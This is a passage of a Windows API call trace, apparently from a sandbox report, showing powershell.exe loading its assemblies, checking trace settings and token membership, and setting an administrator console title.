lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0090.830] GetLastError () returned 0x0 [0090.830] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", nBufferLength=0x105, lpBuffer=0x27e770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.WSMan.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.WSMan.Management.dll", lpFilePart=0x0) returned 0x70 [0090.830] GetLastError () returned 0x0 [0090.855] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.855] GetLastError () returned 0xcb [0090.857] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0090.857] GetLastError () returned 0xcb [0090.921] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.921] GetLastError () returned 0x7e [0090.921] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x27e770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0090.921] GetLastError () returned 0x7e [0093.800] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x27e770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0093.800] GetLastError () returned 0x2 [0093.800] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", nBufferLength=0x105, lpBuffer=0x27e770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Utility\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Utility.dll", lpFilePart=0x0) returned 0x86 [0093.801] GetLastError () returned 0x2 [0094.040] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.040] GetLastError () returned 0x57 [0094.040] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.040] GetLastError () returned 0x57 [0094.244] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x27e770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0094.244] GetLastError () returned 0x2 [0094.244] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", nBufferLength=0x105, lpBuffer=0x27e770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Commands.Management\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Commands.Management.dll", lpFilePart=0x0) returned 0x8c [0094.245] GetLastError () returned 0x2 [0094.436] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27e770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0094.436] GetLastError () returned 0x2 [0094.436] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", nBufferLength=0x105, lpBuffer=0x27e770, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.Security\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.Security.dll", lpFilePart=0x0) returned 0x76 [0094.436] GetLastError () returned 0x2 [0094.509] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0094.509] GetLastError () returned 0xcb [0094.510] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e838, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.510] GetLastError () returned 0xcb [0094.510] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e7e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.510] GetLastError () returned 0xcb [0094.510] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e7e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.510] GetLastError () returned 0xcb [0094.522] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e7e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.522] GetLastError () returned 0xcb [0094.610] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x27e77c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0094.611] GetLastError () returned 0x2 [0094.611] SetErrorMode (uMode=0x1) returned 0x1 [0094.611] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x27ec24 | out: lpFileInformation=0x27ec24*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0094.611] GetLastError () returned 0x2 [0094.611] SetErrorMode (uMode=0x1) returned 0x1 [0094.799] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e838, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.799] GetLastError () returned 0x0 [0094.799] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e7e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.799] GetLastError () returned 0x0 [0094.800] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e7e8, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.800] GetLastError () returned 0x0 [0094.803] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0094.803] GetLastError () returned 0xcb [0094.806] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0094.806] GetLastError () returned 0xcb [0094.807] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0094.807] GetLastError () returned 0xcb [0094.811] CoCreateGuid (in: pguid=0x27ed04 | out: pguid=0x27ed04*(Data1=0x35b5fdea, Data2=0xf606, Data3=0x4adc, Data4=([0]=0x9f, [1]=0xbb, [2]=0xb3, [3]=0xc, [4]=0xb9, [5]=0x28, [6]=0xa0, [7]=0x88))) returned 0x0 [0094.816] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0094.817] GetLastError () returned 0xcb [0094.819] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0094.819] GetLastError () returned 0xcb [0094.821] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x6f7118, nSize=0x80 | out: lpBuffer="") returned 0x0 [0094.821] GetLastError () returned 0xcb [0094.830] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0094.831] GetLastError () returned 0x0 [0094.833] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x27ebe4 | out: lpConsoleScreenBufferInfo=0x27ebe4) returned 1 [0094.834] GetLastError () returned 0x0 [0094.838] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0094.839] GetLastError () returned 0x0 [0094.839] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x27ebe4 | out: lpConsoleScreenBufferInfo=0x27ebe4) returned 1 [0094.839] GetLastError () returned 0x0 [0094.840] GetVersionExW (in: lpVersionInformation=0x6f7130*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x6f7130*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0094.840] GetLastError () returned 0x0 [0094.841] GetCurrentProcess () returned 0xffffffff [0094.841] GetLastError () returned 0x3f0 [0094.842] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x27ebf4 | out: TokenHandle=0x27ebf4*=0x348) returned 1 [0094.842] GetLastError () returned 0x3f0 [0094.845] GetTokenInformation (in: TokenHandle=0x348, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x27ec4c | out: TokenInformation=0x0, ReturnLength=0x27ec4c) returned 0 [0094.845] GetLastError () returned 0x7a [0094.846] GetTokenInformation (in: TokenHandle=0x348, TokenInformationClass=0x8, TokenInformation=0x701c00, TokenInformationLength=0x4, ReturnLength=0x27ec4c | out: TokenInformation=0x701c00, ReturnLength=0x27ec4c) returned 1 [0094.846] GetLastError () returned 0x7a [0094.848] DuplicateTokenEx (in: hExistingToken=0x348, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x27ec04 | out: phNewToken=0x27ec04*=0x340) returned 1 [0094.848] GetLastError () returned 0x7f [0094.849] GetTokenInformation (in: TokenHandle=0x348, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x27ec4c | out: TokenInformation=0x0, ReturnLength=0x27ec4c) returned 0 [0094.849] GetLastError () returned 0x7a [0094.849] GetTokenInformation (in: TokenHandle=0x348, TokenInformationClass=0x8, TokenInformation=0x701be0, TokenInformationLength=0x4, ReturnLength=0x27ec4c | out: TokenInformation=0x701be0, ReturnLength=0x27ec4c) returned 1 [0094.849] GetLastError () returned 0x7a [0094.849] CheckTokenMembership (in: TokenHandle=0x340, SidToCheck=0x29995b0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x27ebe0 | out: IsMember=0x27ebe0) returned 1 [0094.849] GetLastError () returned 0x7a [0094.849] CloseHandle (hObject=0x340) returned 1 [0094.849] GetLastError () returned 0x7a [0094.850] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e6f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.850] GetLastError () returned 0x7a [0094.850] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e6a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.850] GetLastError () returned 0x7a [0094.850] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e6a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.850] GetLastError () returned 0x7a [0094.850] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e6a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.850] GetLastError () returned 0x7a [0094.892] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e6f4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.892] GetLastError () returned 0x7a [0094.892] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e6a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.892] GetLastError () returned 0x7a [0094.892] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e6a4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.892] GetLastError () returned 0x7a [0094.920] GetConsoleTitleW (in: lpConsoleTitle=0x6f78d8, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0094.920] GetLastError () returned 0x7a [0094.943] GetConsoleTitleW (in: lpConsoleTitle=0x6f78d8, nSize=0x400 | out: lpConsoleTitle="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 0x39 [0094.943] GetLastError () returned 0x7a [0094.943] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e6ec, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.943] GetLastError () returned 0x7a [0094.943] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e69c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.943] GetLastError () returned 0x7a [0094.943] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e69c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.943] GetLastError () returned 0x7a [0094.948] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe") returned 1 [0094.949] GetLastError () returned 0x7a [0094.949] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e724, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.949] GetLastError () returned 0x7a [0094.949] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e6d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.950] GetLastError () returned 0x7a [0094.950] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e6d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.950] GetLastError () returned 0x7a [0094.950] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e6d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0094.950] GetLastError () returned 0x7a [0095.000] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e724, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0095.000] GetLastError () returned 0x7a [0095.000] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e6d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0095.000] GetLastError () returned 0x7a [0095.000] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e6d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0095.000] GetLastError () returned 0x7a [0095.000] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e724, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0095.000] GetLastError () returned 0x7a [0095.000] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e6d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0095.000] GetLastError () returned 0x7a [0095.000] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e6d4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0095.000] GetLastError () returned 0x7a [0095.001] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e738, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0095.001] GetLastError () returned 0x7a [0095.001] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x27e6e8, lpFilePart=0x0 | out: 